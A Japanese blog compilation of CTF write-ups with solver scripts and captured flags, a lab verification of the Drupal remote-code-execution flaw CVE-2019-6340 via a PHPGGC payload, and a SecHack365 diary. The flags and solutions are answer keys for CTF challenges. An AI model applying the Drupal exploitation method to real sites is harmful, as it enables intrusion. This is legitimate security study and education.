ybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE=
New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo.
rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!
alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language.
congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

Jacobi's Chance Encryption (Cryptography, 750 pts, 76 solves)

Public Key: 569581432115411077780908947843367646738369018797567841
[flag.enc]

def encrypt(m, pub_key):

    bin_m = ''.join(format(ord(x), '08b') for x in m)
    n, y = pub_key

    def encrypt_bit(bit):
        x = randint(0, n)
        if bit == '1':
            return (y * pow(x, 2, n)) % n
        return pow(x, 2, n)

    return map(encrypt_bit, bin_m)
3ad3750f859c2c8fc1eb2076f876322cd17421c1cff88,0,0,0,3a46387fd709d3b4692cab59248ad3f426e9b8cd5bffe,0,2a6670878e3f48cfd5abcb7940b6df1d22650a438e905,0,5b9c517cca0d3ab82864545d1c943d8ab198650830b38,0,0,0,38e4b15d3ce5567cc7257cc8bb6b205caf2019b35f2a6,0,35bd6c7234811aef80bfee6245fbde8242b056730138a,ec3fffb29bfe1b8473bd2ea04898d3b8ae280cdd599,21498339f1250e7a6ad9d3de38ab4570cc5ae6e1abf1d,0,0,2e41759047b358d16001106dbed035c2988cc70e3465a,515d722c387c1ff1b3d82df07d9ab8d768601fd289977,0,0,5dcd5fb5ed0889a57b6d7f861465ab8bb0bacdf3c9015,3bea61e3ae79cfce65313ad0f3a5c06756718cdfe6dbc,0,0,32526a618b4a68f0f500e2c28b28657a685ef921ccb1e,0,0,2b2de511c67be3942f813642fc86ed58d3336cc545366,8b388f5ad9f9bcbfdbfd56448d31109cbda3b9a6a19e,1849b58830e2b2a4aec0f2e2402baf24e359bb2d2d597,0,0,182a15af9f447ae092b99cd4a92d3cbfa3e59b873df9d,47805e2beb12898f8ca786bf44c574e14fda72413441e,5e428ab03b0a59994e2665ab47b460c07a5c287ffa83e,c2b05078b5d5e4b4b16d63d3605e8e9168c094f9e49e,0,137e41ffaab7b673f9f66b124ec7c3d5cf6f35a6c027b,0,0,7013fd7be70e60d8466620b91322d2df1423fc3448c7,20a04d2503190d2dc212f3142954ad03b034d350705d0,0,0,0,38674cf6d907f0489eab987a92a226e696cb57756c1fd,0,0,0,0,49c93d181739024dfba0249ecdecd85d35fc2e3438c68,0,0,412b046edde3a94a3f1a0eb6e3c7239e143d0858c7579,0,0,21dc7b7db7e1f67072e1012df0f95da988984602c5040,2482d2a9798e2f818aca743ade524ad78d426787964e0,0,6481395ddbf7ff011854984fbfcdb68a4646d3d0a46c,5047bc50b4c717d50e70767b6337c0e288130689dd21d,b4c98854e437c12beb0092f5ab92e0ef03f24147bd57,0,0,3345f0bc3edf8c21b2fdf591557284f4ddcc90ec468b,0,4a34e17584c919b7dd2ba15f61a6761079590b274f236,4c4e57670dd3386e3f1d5ffb4a03e67c3cce8124fea02,0,20afc75c61bb13ecd4b8022e46ccb61430a1e9b1e3686,0,0,1c82bfae00e66d895126efa79559ce865dd3d10f48416,28afec1451036a90be5da04dbf130597fa7b5b9b96849,0,ee9fbef355f06e79fa1266786f203e67ba9ec5feebe8,350d1cefe02c55b2e53b2179bd61e5e4a8c56b0e767f7,5041e4ee83daf2e49d780330159b6cc1f0b2b04e69a1f,0,4cfbf617c552b79041891c882676111b05737f14c4427,0,0,0,0,0,49649168966fafd1ad13a557fbf288f1f334215035746,0,0,0,152e4e8604810791cffc63625c7bba32186d0b447ccc0,0,47e19816c3d743a62f8667030cf586ab9c74fe3d1e589,0,2447268356aac34514fd1a20f3ee9a5a6c68d5f9a20eb,0,21d82ba5f1dbee7b7d2a277fdf8778d979a6e6103a45c,0,0,0,0,0,3530fd4cfc21cfbe5cea85b058759768c67573b2a28a4,0,0,0,5c18b79bc7dbc03b158187afdca3e1667f20e1b44159e,417e9f2a0820298963144bbb205b9598baebeb6c952c7,d873894e2c210d5a5abecf22fb2b933bc3591bc42165,1053349f683a86ccf76667690c4e08a0a1359da67dea,30a7e917ad4a7edb8387f60a7d90bcc68b2abf1891059,0,0,1a0bb932e2d13139f649c98715952fb7986c663a6f24a,2ca00c675427fef81114c1052759a4e9313b2a4b4fe74,491769cbfb1825c85b02ac643547e0c5ffebb12a05d2,43ca5a52e5780ff99d51348f8f299c7f48b6bde7f8721,0,3dab706ec6906ee37c29cd807a7964dc95ec0d6c34968,0,0,0,0,8076cbc4fa82b9109f695e38d7fb8802c4b140238d5c,862773d42f56151c94b3c24606edaab8d12b4f38aa56,0,3d8ea2f2a54bc99dbd5a9c4a09bbeeb9f8f89f2fd4ec6,0,1a1162d8005591a6d9d255a3c64963dd6c2b5a63235ae,0,0,0,0,0,1ef1bd3f838744fb34cf07a4c4ba688a02c9fb550fea3,0,0,424d57bf5cdbe479ea7596d30348635b7017de83045af,422611e1297e811988effe0ae7973639b6fe95640feae,5925ea727f426aad4faa619c692f2040da956dde9c0b4,21b03f7303387078d1ecc723b5b9b82d864a950e8ae18,0,2acf2d1844e64941997d42f6634222cfea9bb8f1c6c3a,0,0,0,2652f587a28e0bc9fccc9266f4d4fd24dd009b311c029,0,1b018b971ad55025ce3150dfcab3f476b5a8a51e97cc9,31b3629e20a25d917acda299cee182df23e84933e1fc7,2cdecd0635ef68af1b49deba4d4c5f368290731b12955,0,0,0,59af6719c0d73625fb24c6054ddc947d9007777832bb5,0,3f51ceffcda71936ed3d49505d2e855a93f70bcf4d680,56b5003cf8674e0b50e41a7ead88b35c934c665f99eaf,1e13bf35815787e44009499c4d828e33136f4b934e8c6,0,0,1dc0e943e8bdd0afb8c769fe57b59249fd8a513f6472c,4995b3983e52801940feca4e4ad772f7f988d794808e3,0,5a4d18df6303ae5d27d730e9ec03879a9354d6ac9bb6e,0,576ff5eb2ef65e2742980cd4dcd908c92ee777792c1ba,0,0,69455d800e45b163ebabf42796fa489b37674d36e9be,0,0,0,21acac2b8223dff389be96cdc894a7a99a32599d472ce,870c33409d4bc8049b72a5ffce00f229821bcdafe053,0,0,0,52b4d9258e96c4be687f712a08c9ec9c7daba01bcd74c,0,3643b13ffb3ee5208e557abb03697468ff9ce6c5d8bf3,50ef19f0f625bb8e3ab2915201bcf9ae0b40656bbee49,1056670d4c3ea98038f8ecd74440033aeff3064a2e005,0,0,22698fa2d377aee3f2a63c288f17fe2d1061b61b62b94,0,26faa98d38033cfb0653b447d8a7f268f68ab8e51f252,1f5b0997e693c897caec45f5ea38cb24b4ddd27422fec,0,4bb0e445302f5b28ee3e7b36a93dd2e8d12eaa3119772,0,0,4d42df71d8e24a1424eed881c1302f6c21114b1ba84f4,0,0,0,0,312607440a6ec3fdb8401d1db690de41dfeae70cfaefe,0,0,3f620fe471b5b59218c1e554fffc64066e576e09c9b6,0,0,0,23cd34716eaa5762d59728699783cb51d8f87525ab2c8,27f24f062089f67afac376186335fbbd6da4ab6803bf1,0,27811be1b34c349949a7d7de701438ace3f22ab3857b4,0,0,0,0,0,c2937375f4db8464dc81875295ff47d897b749572cb0,0,0,1a2425e6231a8b2dfd59b171ac2fa39a54c1c5f2bc18c,0,4601f4a99029129f673dae90c2b8f08ac77c9acb2b67a,2ce224a2c3f3927658c98890201c41e1485ab81773447,0,17f9f932dbb1f2aa279be9b5751d3e461ea97b79fec18,0,0,467cd79faa40ffef1f69490c3205efef24847eb95c313,0,0,0,931f3df14edaf21ebfc1243b1bb065fa128d6f112f10,30671798eb74ea9593b5dd38710f672d25a48d5cab263,0,1e39d859b972edb5f25c0fc197137e89892361ed6c919,0,0,0,0,0,fb0da1dfe3749d91d7260425b08f23b35d22b4a60512,0,0,61718b9028558be04f9af538877bd5fea45000351480,0,0,0,5a225a78daed3e0a2ca3b09629d2e98d37e0ecb48806c,12862b5946fef0d125e0a24fadb0ea567f40b37c8f984,0,0,0,206ecdbbd50a6800ab5bc293b47c2c784bac7578a8ba5,0,481528aa7c00de41818b4a24ebddefa48533dc43a678d,0,4d09c1ead0061318a6410214fbe0b0ccc72056835583d,0,0,45c40da5f6ed58e0851f635117d8162094814d4a10f6e,0,0,49d96e0bcf458bf606c812d4c3c9a7a3b8b4cb41482ef,0,2a0381519bd15dfce996317d3582f858eaa4a0ec0d5e1,0,0,2c1051612093e8e2149f4e2b9b71fc08bf2b1830d7b0b,486bd7ef1b04a2b282d6232e33b6bc72aeb7e971c1238,1c6afa8a2da6e0ea764fd4e0d8a7866111e1afc80ca3e,0,208090933fe494e5e2866f08875a43c0bad38e2138513,406221453e74594ff0a78ad722752655387ac5d17361,0,0,5ebf43af7a6387ee99da56a5135fca5a2c3776c074315,1b5340564c3fcfa9b7aff92de27759b62b2b8e73d5f1e,0,2739b0fd92f8a9304fba5495b0e191087d754ce0b394,0,6416febf2962928a8ef5120576b85de04cf822fe49fe,0,0,0,3e5b4cd5335bce2416b2bdcf69749a058ca3086823af3,33e4a2d274d064bc3b411571cca3d6c2d85404f3ea7b4,0,115ac281bf28f5059ec51c4650d23b6c4a9f454e1b20c,25d011ee737648a87e60e3b97be76c8a9dd3268361796,0,425ed19ba98db56a50e4a298fda5fa9715ab74017a13a,0,0,0,0,0,98ac380fadcde93784206cdbae7a9bc1dda3a92f0e8d,0,0,0,14a9f8eefe6c1aea36c0f011bc6f5fc87fad4510a2868,0,2fe9b18543777aa26ebcdf46e1fc3c652525a2a4a082f,4689ab7aaddd26b88e44abbf52ce6cbf741000c4306e2,87fa26f9a0e9edb1d0ae9145b79d537ce31e5757d8da,0,0,352d826b6b3dfab4c5ada55f2820bea15f98a1e52d304,0,36492d9686ff9b087f76d6ca0be42a9d4a4fd210836a7,dec4371651f6be401e348fdeddb35a94f3b4df6f787c,2450d35d7987a8f8925f4f237b074a40579370a702a7a,bbffc03f22ee8828ad4440c51ab64c8489f443587ade,0,0,1eb996e05dd1768b73e431f67bbdd6c8407cf05539bdd,42af69f6f1de85ebd85d524ee0c880d17a54717b725a4,0,58a7fd168e149a79b4a4334d1d45166fb819e9bae98c,0,23ee10dbd81466fa2f8ecd88262acc81fd55ea565b2ae,0,0,17af0a96a9b2e7e3312bd69df2a5e30c0f196fbaf8d9,0,0,0,0,3b07b9ac09699fb2e689e24323069f5bf18f9cbcbfd12,0,0,0,21696dbfd09e07b904268332fdbfe9183c9128af58580,59ac9552519d6071903d42e04505f36e46ff7e4dc8f04,0,5cf547a07a1aa5f22d735f13e03dd9c218e69a98742ad,f5328872b06391032c8e4f43667c2817a4edad3a2bf1,0,0,0,0,4e590f3ecab6d14a5fe0ca2e77c4aa15a067e96ac3756,dfb2129fe24a885115f47ffe263b606b98e811f57956,0,2540f861746a56c303d83bf411ed5306c584d66ffaab5,0,0,0,0,0,3d9c6045b72e8c8e8681770056e640adf00770a3f93b5,0,

アプローチ:modの性質

encryptのコードとflag.encが与えられます.
encyrptのコードではメッセージ(flag)1文字1文字を8桁の2進数に変換し, 変換後のbitに応じてencryptしているようです(1のときは謎encrypt, 0のときは似非RSA).

次に似非RSAのdecryptが可能かどうかについて考えていきます.
結論から述べると似非RSAのdecryptは簡単に行なえます.なぜなら,pub_keyがとても小さいので簡単に素因数分解できるためです.

しかし,似非RSAのdecryptを行えたとしてもその値が(y * pow(x, 2, n)) % nによってencryptされた値なのか,pow(x, 2, n)によってencryptされた値なのかを判断する方法がないように思われます.

ここでもう一度flag.encに注目すると0の出現頻度がおかしいことに気づきます.

'a'をencryptして動作を確かめてみます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import random

def encrypt_bit(bit):
    n = 569581432115411077780908947843367646738369018797567841
    y = 569581432115411077780908947843367646738369018797567841
    x = random.randint(0, n)
    if bit == '1':
        return (y * pow(x, 2, n)) % n
    return pow(x, 2, n)

if __name__ == '__main__':
    bin_m = '01100001' # 'a'
    x = map(encrypt_bit, bin_m)
    print(list(x))
> python example.py
[503907194163742347950749151189780952424783277180090743, 0, 0, 232013060288249869474521860545175323741752601394883211, 32029176599138398957796327722421222608836960101753808, 125529946533928951618339723926128537231579346326887135, 558211320207958083662854954506953622060168929465128232, 0]

ビット列が1になっているところが0としてencryptされていることに気づきます.
冷静に考えてみればそれはそうで,(y * pow(x, 2, n)) % n におけるynは一致するのでmodの性質上この式は0になります.

encrypt方式の欠点が分かったのでソルバに落とします.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-


if __name__ == '__main__':

    with open('./flag.enc') as f:
        s = f.read()

    enc_text = s.split(',')
    flag = []
    bits = ''
    for x in enc_text[:-1]:
        if x == '0':
            bits += '1'
        else:
            bits += '0'

        if len(bits) == 8:
            flag.append(chr(int(bits,2)))
            bits = ''

    print(''.join(flag))
> python solve.py
utflag{did_u_pay_attention_in_number_theory}

utflag{did_u_pay_attention_in_number_theory}

まとめ

  • Crypto問簡単なのしか解けなくてかなしい
  • 就活でいそがしい
  • 時間に余裕を持ってCTFしたい

Drupalの脆弱性 (CVE-2019-6340) を検証してみた話

はじめに

TLでDrupal脆弱性 (CVE-2019-6340) が話題になっていたので検証してみました.

www.jpcert.or.jp

脆弱性の概要

www.drupal.orgによると一部のフィールドタイプがフォーム以外からのデータを正しくサニタイズしないため,RESTful Web Servicesなどの REST API を利用するモジュールを有効としている場合に任意のPHPコードを実行される可能性があるとのことです.

脆弱性の影響を受ける環境

脆弱性の影響を受ける可能性がある環境は以下の通りです.

脆弱性を利用した攻撃の検証

検証環境の準備

Drupal 8.6.9 に対して検証を行うためにDockerを利用しました.

Docker HubDrupalのイメージがあるので検証環境の準備は簡単です.

hub.docker.com

以下のコマンドを実行すると

> docker run --name drupal_service -p 8080:80 -d drupal:8.6.9

http://localhost:8080/に以下のような画面が表示されます.

f:id:satto1237:20190227012444p:plain

English -> [Save and continue] -> Standard -> [Save and continue] -> SQLite -> [Save and continue] のように遷移するとインストールが始まります.

インストールが終わるとサイトの環境設定を求められるので適当に設定します.

f:id:satto1237:20190227013329p:plain

設定が完了するとトップ画面が立ち上がります.

f:id:satto1237:20190227013558p:plain

次にRESTful Web Servicesの設定を行います (デフォルトでは有効になっていないので).

Manage -> Extend -> WEB SERVICES と遷移し,設定を全て有効にします.

f:id:satto1237:20190227014438p:plain

次にコンテンツの追加を行います.

Manage -> Content -> Add Content と遷移し,コンテンツの追加を行います.

コンテンツの追加に成功するとhttp://localhost:8080/node/1にページが生成されます.

f:id:satto1237:20190227015200p:plain

以上で検証環境の準備は終わりです.

攻撃手法

www.ambionics.io

上記のサイトによると Drupal 8.6.9 と 8.6.10を比較した際にRESTモジュールでFieldItemNormalizer.phpが新しいトレイトとしてSerializedColumnNormalizerTrait.phpを使用していることが分かるとのことです.

github.com

github.com

この新しいトレイトではcheckForSerializedStrings()メソッドを提供しています.
checkForSerializedStrings()メソッドは名前の通り,チェック対象にシリアライズされた文字列が格納されている場合に例外を投げるメソッドです.

この修正内容からパッチ適用前のDrupalではシリアライズされた文字列に対してサニタイズが行われていないため,RCEが可能になっていると推測することができます.
そのため,checkForSerializedStrings()メソッドが適用されているフィールドを特定し,PHPGGCを使用してペイロードを作成すれば攻撃が可能になります.

検証結果

以下がPHPsystem()を噛ませたペイロードを作成し,OSコマンドを実行している例です.

f:id:satto1237:20190227145220p:plain

f:id:satto1237:20190227145236p:plain

f:id:satto1237:20190227145254p:plain

キャッシュチェック(X-Drupal-Cache)で弾かれたノードはスキップしています.

脆弱性に対する対策

脆弱性修正済みバージョンのDrupalが公開されているのでアップデートを適用することで対策が可能になります.

まとめ

  • docker便利
  • PHPGGC便利
  • Drupalは早めにアップデートしましょう

Saudi and Oman National Cyber Security CTF 2019 Write-up

はじめに

2019/02/02 ~ 2019/02/10 に開催されたSaudi and Oman National Cyber Security CTFに個人で参加しました.

成績

5問解いて 105位 (1問以上解いた457人中) でした.

f:id:satto1237:20190210154230p:plain

Just Another Conference [General Information, 50]

famous Cybersecurity conference runs by OWASP in different locations

アプローチ:ググる

www.owasp.org

AppSec

フラグ提出チェック問ですね.

Back to basics [Web Security, 50]

not pretty much many options. No need to open a link from a browser, there is always a different way

Link: http://35.197.254.240/backtobasics

アプローチ:POST

問題文に色々書かれてますが気にせずにリンクを踏んでみるとwww.google.comにリダイレクトされてしまうことが分かります.

curlGETリクエストを投げて確かめてみます.

> curl http://35.197.254.240/backtobasics/

<script> document.location = "http://www.google.com"; </script>%

GETリクエストの情報量が微妙だったので基本に帰って (back to basics) POSTリクエストを投げてみます.

> curl -X POST http://35.197.254.240/backtobasics/
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->%

jsが降ってきたので整形してあげます.

var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];

function reverse(_0xa6e5x2) {
    flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}

console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])

読みにくいの読みやすくします.

flag = "ceab068d9522dc567177de8009f323b2".split("").reverse().join("")

この結果がフラグになります.

2b323f9008ed771765cd2259d860baec

I love images [Digital Forensics, 50]

A hacker left us something that allows us to track him in this image, can you find it?

f:id:satto1237:20190210160433p:plain

アプローチ:baseXX

> file godot.png
godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
> strings godot.png | tail
*TYlT_qP
vL.I


IK@
VMqa.%
pDuF(
op+P
q}'ZA0
O-T&
IEND
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======

pngbase64っぽい文字列が埋め込まれているのが分かります.
早速デコードしようとしますが上手くいきません.

> echo 'IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======' | base64 -D
!�� �%��!}�5��I}�0VV(�T=%

ここでrot13系が噛んでるのかなと考え,rot1~rot25までを総当たりしますが上手くデコードできず,無限に時間を溶かしました.

もう一度IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======をよく眺めてみると小文字が出現していないことやパディングが多すぎることに違和感を覚え,ようやくエンコード方式が違うことに気が付きました.

エンコード方式が違うといってもすぐに思いつくエンコード方式がbase58(ビットコインのあれ)くらいだったので色々調べてみるとbase32がそれっぽいことが分かりました.

あとはオンラインツールでデコードしてあげるとフラグを取得できます.
emn178.github.io

FLAG{Not_Only_Base64}

Hack a nice day [Digital Forensics, 100]

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}

f:id:satto1237:20190210163404j:plain

アプローチ:Steganography

> file info.jpg
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3

comment: "badisbad"が怪しいですね.

> strings info.jpg | head
JFIF
badisbad
!1!%)+/..
383-7(-.+
---+------+----+-----+----+-------+------------7--
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
)((*
YZI{0

ヘッダから恐らくSteganographyであることが分かります(経験則).

早速steghideで埋め込まれたファイルを抽出します.
この際,passphrasebadisbadを用いました.

> steghide extract -sf info.jpg 
Enter passphrase: 
wrote extracted data to "flaggg.txt".

あとはflaggg.txtを読めば終わりです.

> cat flaggg.txt 
flag{Stegn0_1s_n!ce}

flag{Stegn0_1s_n!ce}

I love this guy [Malware Reverse Engineering, 100]

Can you find the password to obtain the flag?

アプローチ:デコンパイル

> file ScrambledEgg.exe
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net系はdnSpyに投げるのが自分の中で定石になりつつあるので早速デコンパイルしてみます.

// Token: 0x04000001 RID: 1
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();


MessageBox.Show(new string(new char[]
                {
                    this.Letters[5],
                    this.Letters[11],
                    this.Letters[0],
                    this.Letters[6],
                    this.Letters[26],
                    this.Letters[8],
                    this.Letters[28],
                    this.Letters[11],
                    this.Letters[14],
                    this.Letters[21],
                    this.Letters[4],
                    this.Letters[28],
                    this.Letters[5],
                    this.Letters[14],
                    this.Letters[13],
                    this.Letters[25],
                    this.Letters[24],
                    this.Letters[27]
                }));

パスワードを見つけようとしたらフラグを見つけてしまったのでデコードします(恐らく想定解法ではない).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
    flag = [
    letters[5],
    letters[11],
    letters[0],
    letters[6],
    letters[26],
    letters[8],
    letters[28],
    letters[11],
    letters[14],
    letters[21],
    letters[4],
    letters[28],
    letters[5],
    letters[14],
    letters[13],
    letters[25],
    letters[24],
    letters[27]]

    print(''.join(flag))
> python solve.py
FLAG{I_LOVE_FONZY}

まとめ

  • 時間をかけて取り組んだ割には微妙な結果になってしまった
  • 解けそうで解けない問題が多くて消耗してしまった
  • MariaのIPアドレスベースのSQLi?めっちゃ解法が気になる
  • CTF用にWindows Laptopがほしい
  • Crypto問が出なくて悲しかった

SecHack365@沖縄に行ってきた話

SecHackのオフラインイベントで沖縄に行ってきました(02/01~02/03)

0日目 (01/31)

21:00

デモの最終確認を始める…

28:30

就寝…

1日目(02/01)

05:00

起床…(結局寝れず横になっただけ)

08:00

羽田空港到着.
睡眠不足からくる乗り物酔いで既に辛かった…

12:30

那覇空港到着.
お昼にソーキそばを食べようとしていたが乗り物酔いが酷すぎて諦めた…

f:id:satto1237:20190207185242j:plain

13:30

空港のロビーでデモの確認や発表中にしゃべることの確認をしながら他のプロジェクトの人と雑談してた.

14:30

会場到着.

f:id:satto1237:20190207193032j:plain

15:30

成果発表会開始.
発表順は年齢順らしく,自分が所属するプロジェクトはメンバー全員がM1なので1日目の後半に発表があった.

17:00

成果発表.
事前に伝えたいことを原稿にまとめていたが,発表中に頭から抜けてしまい,説明不足になってしまうところがあった.
やらかしたな〜と思っていたが質疑応答でその部分について聞かれ,上手く補足できたので良かった.

18:00

夕飯.

f:id:satto1237:20190207192618j:plain

19:00

成果発表会再開.
自分達の発表は終わっていたので気楽に聞けた.

21:00

Self Night Challenge

チームメンバーが3月の外部向け発表会に向けて追加実装を行う中自分はゆゆ式10巻を読んでいた(?) バックエンド担当に新APIが実装されたらオレも追加実装するわ〜とか言ってた気がする

f:id:satto1237:20190207194056j:plain

25:30

就寝.

2日目(02/02)

08:15

起床チャレンジ成功.
早起きすると朝ごはんがおいしい!

09:00

成果発表会再開.
実用的なものからアカデミックなものまでレベルの高い発表が続いた.

12:00

昼食.

f:id:satto1237:20190207194201j:plain

13:00

成果発表会再開.
低レイヤ高校生/高専生のレベルが高過ぎて自信喪失するのと同時にもっと頑張っていかなきゃと改めて思った.

18:00

夕飯.

f:id:satto1237:20190207194540j:plain

22:00

SecHack365最後の夜ということなので何人かのトレーニーで集まり,パソコンをいじりながら色々な話をした.
どんな話をしたのかについては書かないが最後にざっくばらんな話ができて本当に面白かった.

なぜそうなったのかは覚えていないが色々な話をしていたら無性にCTFがしたくなったのでNeverLAN CTF(CTF timeを開いたら開催中だった)に参加した (深夜テンション).
以下Write up.

Alphabet Soup [Crypto]

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA

アプローチ:換字式暗号
問題文を見た限り何も手がかりがなかったので色々と試した(rot13など).
結果的に換字式暗号だった.

NICE GOING ON SOLKING THE CRYPTOGRAM! I WONDER IF YOU DID THIS BY HAND OR USED YOUR RESOURCES. I'M SURE NOW YOU WANT A FLAG SO HERE IT IS FLAG DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

人力でやると時間がかかるのでqiupqiupを使った. quipqiup.com

DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

Super Old School [Crypto]

This image is trying to tell you something.

f:id:satto1237:20190207224354p:plain

アプローチ:Babylonian numerals

色々と調べてみるとBabylonian numeralsであることが分かる.
あとは数字とアルファベットを対応させれば終わり.

25 15 21 18
6 12 1 7
9 19
19 15
13 1 14 25
3 18 25 16 22 15 19


Y O U R
F L A G
I S
S O
M A N Y
C R Y P T O S

SOMANYCRYPTOS

February 14th [Crypto]

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19

 ______________________________________________________________
| 1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21|
| ______________________________________________________________|
  J  O  W  W  A  S  Q  L  L  W  E  I  U  S  B  A  E  S  I  P  L
  O  W  W  A  Q  A  P  K  E  Q  I  O  O  Q  D  Z  R  D  O  U  E
  E  D  E  F  B  W  I  J  M  I  K  M  L  W  E  C  Y  E  I  R  O
  D  Z  S  D  M  P  W  H  L  A  L  K  M  E  L  K  U  W  Q  T  W
  L  D  D  L  V  I  D  W  O  S  G  I  N  Z  U  K  K  I  Z  G  D
  Z  M  H  M  D  W  A  Q  Y  L  I  S  B  V  E  P  M  P  B  Q  Z
  E  B  G  I  J  Q  S  A  T  M  S  W  J  C  W  L  V  Q  H  M  S
  G  N  U  O  O  D  F  Z  D  B  A  T  K  N  R  U  D  K  I  P  L
  S  P  I  L  R  F  Q  B  H  H  B  U  O  Q  T  U  I  L  F  U  K
  W  I  O  Q  P  L  I  V  A  G  I  I  U  A  H  Y  P  Y  L  T  Y
  F  Y  K  W  D  K  K  C  Q  O  O  Z  R  W  K  T  S  T  O  R  D
  C  Q  M  A  J  L  F  O  W  Y  R  B  W  D  M  G  O  E  I  D  T
  V  L  E  Z  Q  H  V  I  I  W  S  O  Q  F  N  N  M  D  K  Q  P
  H  A  W  M  S  Q  L  Y  O  I  M  Y  A  K  F  W  I  F  U  J  I
  Y  Q  T  L  A  W  O  H  P  R  Q  W  S  O  Q  S  T  N  W  N  O
  R  U  Y  O  X  S  E  E  L  I  W  X  D  P  A  A  P  O  E  D  U
